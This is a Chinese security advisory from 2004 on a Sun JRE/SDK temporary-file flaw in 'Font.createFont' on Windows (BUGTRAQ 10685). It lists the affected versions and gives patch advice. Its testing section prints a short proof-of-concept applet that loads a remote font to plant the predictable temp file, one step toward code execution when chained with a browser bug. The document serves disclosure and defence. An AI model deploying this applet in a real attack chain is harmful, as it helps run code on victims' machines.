发布日期：2004-07-09
更新日期：2004-07-14

受影响系统：

Sun JRE (Windows Production Release) 1.4.2_04
Sun JRE (Windows Production Release) 1.4.2_03
Sun JRE (Windows Production Release) 1.4.2_02
Sun JRE (Windows Production Release) 1.4.2_01
Sun JRE (Windows Production Release) 1.4.2
Sun JRE (Windows Production Release) 1.4.1_07
Sun JRE (Windows Production Release) 1.4.1_03
Sun JRE (Windows Production Release) 1.4.1_02
Sun JRE (Windows Production Release) 1.4.1_01
Sun JRE (Windows Production Release) 1.4.1
Sun JRE (Windows Production Release) 1.4.0_03
Sun JRE (Windows Production Release) 1.4
Sun JRE (Windows Production Release) 1.3_05
Sun JRE (Windows Production Release) 1.3.1_06
Sun JRE (Windows Production Release) 1.3.1_05
Sun JRE (Windows Production Release) 1.3.1_03
Sun JRE (Windows Production Release) 1.3.1_02
Sun JRE (Windows Production Release) 1.3.1_01a
Sun JRE (Windows Production Release) 1.3.0_02
Sun JRE (Windows Production Release) 1.3
Sun JRE (Windows Production Release) 1.2.2_011
Sun JRE (Windows Production Release) 1.2.2_010
Sun JRE (Windows Production Release) 1.2.2_007
Sun JRE (Windows Production Release) 1.2.1
Sun JRE (Windows Production Release) 1.2
Sun JRE (Windows Production Release) 1.1.8_009
Sun JRE (Windows Production Release) 1.1.8_008
Sun JRE (Windows Production Release) 1.1.8_007
Sun SDK (Windows Production Release) 1.4.2_04
Sun SDK (Windows Production Release) 1.4.2_03
Sun SDK (Windows Production Release) 1.4.2
Sun SDK (Windows Production Release) 1.4.1_03
Sun SDK (Windows Production Release) 1.4.1_02
Sun SDK (Windows Production Release) 1.4.1_01
Sun SDK (Windows Production Release) 1.4.1
Sun SDK (Windows Production Release) 1.4.0_03
Sun SDK (Windows Production Release) 1.4.0_02
Sun SDK (Windows Production Release) 1.4
Sun SDK (Windows Production Release) 1.3_05
Sun SDK (Windows Production Release) 1.3.1_06
Sun SDK (Windows Production Release) 1.3.1_05
Sun SDK (Windows Production Release) 1.3.1_03
Sun SDK (Windows Production Release) 1.3.1_02
Sun SDK (Windows Production Release) 1.3.1_01a
Sun SDK (Windows Production Release) 1.3.0_02
Sun SDK (Windows Production Release) 1.2.2_011
Sun SDK (Windows Production Release) 1.2.2_010
Sun SDK (Windows Production Release) 1.2.2_007
Sun SDK (Windows Production Release) 1.2.1
Sun SDK (Windows Production Release) 1.2

描述：

---

BUGTRAQ  ID: 10685

Sun的Java Runtime Environment (JRE)为JAVA应用程序提供可靠的运行环境。

Sun JVM的'Font.createFont'方法不正确建立临时文件，远程攻击者可以利用这个漏洞以用户进程权限执行任意代码。

'Font.createFont'方法建立如下名字的临时文件：

+~JFxxxxx.tmp

其中的xxxxx是随机数，结合IE等其他调用JAVA的应用程序漏洞可能造成任意代码执行。

<*来源：jelmer （jelmer@kuperus.xs4all.nl）
        http-equiv （http-equiv@malware.com）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

jelmer （jelmer@kuperus.xs4all.nl）和
http-equiv （http-equiv@malware.com）提供了如下测试方法：

import java.applet.Applet;

import java.awt.Font;

import java.net.URL;

import netscape.javascript.JSObject;



public class Jelmer extends Applet {



public void init() {



try {

Font f = Font.createFont(Font.TRUETYPE_FONT, new
URL(getParameter("infile")).openStream());

} catch(Exception ignored) {}



try {

JSObject jsWin = JSObject.getWindow(this);

jsWin.call("doneloading", new Object[]{});



} catch(Exception e) {

e.printStackTrace();

}

}

}

建议：

---

厂商补丁：

Sun
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://java.sun.com/j2se/

浏览次数：3120
严重程度：0（网友投票）